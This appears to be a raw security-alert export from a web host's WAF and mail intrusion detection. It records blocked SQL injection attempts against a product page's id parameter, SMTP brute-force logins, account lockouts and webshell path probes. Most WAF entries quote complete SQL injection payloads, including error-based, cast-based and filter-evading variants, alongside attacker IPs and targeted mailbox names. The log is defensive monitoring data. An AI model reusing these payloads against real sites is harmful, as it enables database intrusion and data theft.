IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1 and and/**/(select/**/4045/**/from(select/**/count(*),concat('~',(select/**/(elt(4045=4045,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 103.158.158.37
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/(select/**/7968/**/from(select/**/count(*),concat('~',(select/**/(elt(7968=7968,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:10:04 dovecot_login authenticator failed for H=(Lhidve) [165.154.217.204]:53765: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 38.222.69.43
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1) AND /*!50000AND*/(/*!50000SELECT*/3142/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3142=3142,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 103.158.158.37
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1and/**/(select/**/7968/**/from(select/**/count(*),concat('~',(select/**/(elt(7968=7968,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 103.158.158.37
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1AND/**/(SELECT/**/7968/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7968=7968,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)#||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:10:29 dovecot_login authenticator failed for H=(8PxOHSTpDd) [178.16.52.139]:64500: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 38.222.69.43
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1))and/**/(select/**/7953/**/from(select/**/count(*),concat('~',(select/**/(elt(7953=7953,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ((7422=7422||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 103.158.158.37
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1AND/**/(SELECT/**/7968/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7968=7968,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 169.224.36.11
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1 AND AND/**/(SELECT/**/4045/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(4045=4045,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 38.222.69.43
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1))and/**/(select/**/7953/**/from(select/**/count(*),concat('~',(select/**/(elt(7953=7953,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ((7422=7422||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:11:19 dovecot_login authenticator failed for H=(PB0U4e) [165.154.217.204]:50999: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'))/*!50000AND*/(/*!50000SELECT*/5050/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5050=5050,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (('y35TCQiO'='y35TCQiO||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.0.132.237
country_id: 6251999
description:
2026-02-02 05:11:03 dovecot_login authenticator failed for H=([127.0.0.1]) [135.0.132.237]:36847: 535 Incorrect authentication data (set_id=arts@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:11:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:11:52 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39672: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'))/*!50000AND*/(/*!50000SELECT*/5050/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5050=5050,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (('y35TCQiO'='y35TCQiO||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/1627=cast(('~'||(select/**/(case/**/when/**/(1627=1627)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.89.24.14
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=658383 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND AND/**/(SELECT/**/9420/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9420=9420,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:11:02 dovecot_login authenticator failed for H=(obKY24IlVd) [165.154.217.204]:65399: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.237.70.140
country_id: 2661886
description:
2026-02-02 05:11:11 dovecot_login authenticator failed for H=([127.0.0.1]) [194.237.70.140]:49776: 535 Incorrect authentication data (set_id=arts)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1' AND AND/**/(SELECT/**/9420/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9420=9420,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'))/*!50000AND*/(/*!50000SELECT*/5050/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5050=5050,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (('y35TCQiO'='y35TCQiO||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1) AND AND/**/8790=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(8790=8790)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:11:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49558: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1) and and/**/8790=cast(('~'||(select/**/(case/**/when/**/(8790=8790)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:11:19 dovecot_login authenticator failed for H=(MzoaEfr) [158.94.208.175]:65204: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/(select/**/9420/**/from(select/**/count(*),concat('~',(select/**/(elt(9420=9420,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.111.210
country_id: 1835841
description:
2026-02-02 05:11:48 dovecot_login authenticator failed for H=([14.37.111.210]) [14.37.111.210]:50249: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\"AND/**/(SELECT/**/10947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(10947=10947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"kTC04fIJ\"=\"kTC04fIJ\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:12:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:12:18 dovecot_login authenticator failed for H=(GUsc09caWu) [165.154.217.204]:59445: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:12:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51458: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2026-02-02 05:12:03 dovecot_login authenticator failed for H=([182.42.113.10]) [182.42.113.10]:37824: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.10
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/mockery/mockery/docs/reference/mockery/gotchas.rst HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\"and/**/(select/**/10947/**/from(select/**/count(*),concat('~',(select/**/(elt(10947=10947,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and \"ktc04fij\"=\"ktc04fij\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/1274=cast(('~'||(select/**/(case/**/when/**/(1274=1274)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer) and (\"s4x2rvkt\"=\"s4x2rvkt\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/6366=convert(int,(select/**/'~'+(select/**/(case/**/when/**/(6366=6366)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND AND\x055727=CONVERT(INT,(SELECT\x0e'~' (SELECT\x0c(CASE\tWHEN\x01(5727=5727)\rTHEN\v'1'\x0fELSE\x01'0'\x0cEND)) '~'))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/1274=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1274=1274)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER) AND (\"s4X2rVKT\"=\"s4X2rVKT\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/demos/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.179.161.70
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\"AND/**/(SELECT/**/10947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(10947=10947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"kTC04fIJ\"=\"kTC04fIJ\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:12:24 dovecot_login authenticator failed for H=(Tc7ZbKUFQ) [158.94.208.175]:61017: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.185.44.77
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/index.php?Itemid=239&catid=915:smy-jan-apr-2016&id=171:can-automation-replace-manned-inspection-ofnoffshore-structuresn&option=com_content&view=article HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:13:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61286: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:13:37 dovecot_login authenticator failed for H=(pjcF8Dbk) [178.16.52.139]:55381: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/8774=CTXSYS.DRITHSX.SN(5615,CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(8774=8774)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) AND (\"g8HGnTUK\"=\"g8HGnTUK\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/(select/**/8115/**/from(select/**/count(*),concat('~',(select/**/(elt(8115=8115,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1' AND AND/**/(SELECT/**/8115/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8115=8115,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1%'/*!50000AND*/(/*!50000SELECT*/2014/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(2014=2014,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND 'MUJA2UoS%'='MUJA2UoS||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1%'/*!50000AND*/(/*!50000SELECT*/2014/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(2014=2014,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND 'MUJA2UoS%'='MUJA2UoS||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/(select/**/2034/**/from(select/**/count(*),concat('~',(select/**/(elt(2034=2034,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and 'al2ttsez' like 'al2ttsez||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:13:33 dovecot_login authenticator failed for H=(kFr34XldWY) [165.154.217.204]:51055: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:13:59 dovecot_login authenticator failed for H=(cRK4lgiQPA) [178.16.54.138]:55449: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND AND/**/(SELECT/**/8115/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8115=8115,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:13:14 dovecot_login authenticator failed for H=(eGrvprnhLJ) [165.154.217.204]:65450: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:13:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/(select/**/2034/**/from(select/**/count(*),concat('~',(select/**/(elt(2034=2034,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and 'al2ttsez' like 'al2ttsez||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/9854=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(9854=9854)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER) AND ('rvW1ELLB' LIKE 'rvW1ELLB||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/3016=cast((%27~%27||(select/**/(case/**/when/**/(3016=3016)/**/then/**/1/**/else/**/0/**/end))||%27~%27)/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 72.27.2.142
country_id: 3489940
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/9895=ctxsys.drithsx.sn(9860,chr(126)||%27~%27||(select/**/(case/**/when/**/(9895=9895)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)) and (\"kprrco1d\"=\"kprrco1d\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 197.238.156.165
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1%'/*!50000AND*/(/*!50000SELECT*/2014/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(2014=2014,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND 'MUJA2UoS%'='MUJA2UoS||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/1428=concat('~',(select/**/(case/**/when/**/(1428=1428)/**/then/**/'1'/**/else/**/'0'/**/end)),'~')-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/8333=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(8333=8333)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:14:29 dovecot_login authenticator failed for H=(gjEOKVulgA) [178.16.52.139]:59528: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/8333=cast(('~'||(select/**/(case/**/when/**/(8333=8333)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:14:11 dovecot_login authenticator failed for H=(e3BnGe) [165.154.217.204]:54688: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:14:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\" and and/**/(select/**/9456/**/from(select/**/count(*),concat('~',(select/**/(elt(9456=9456,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
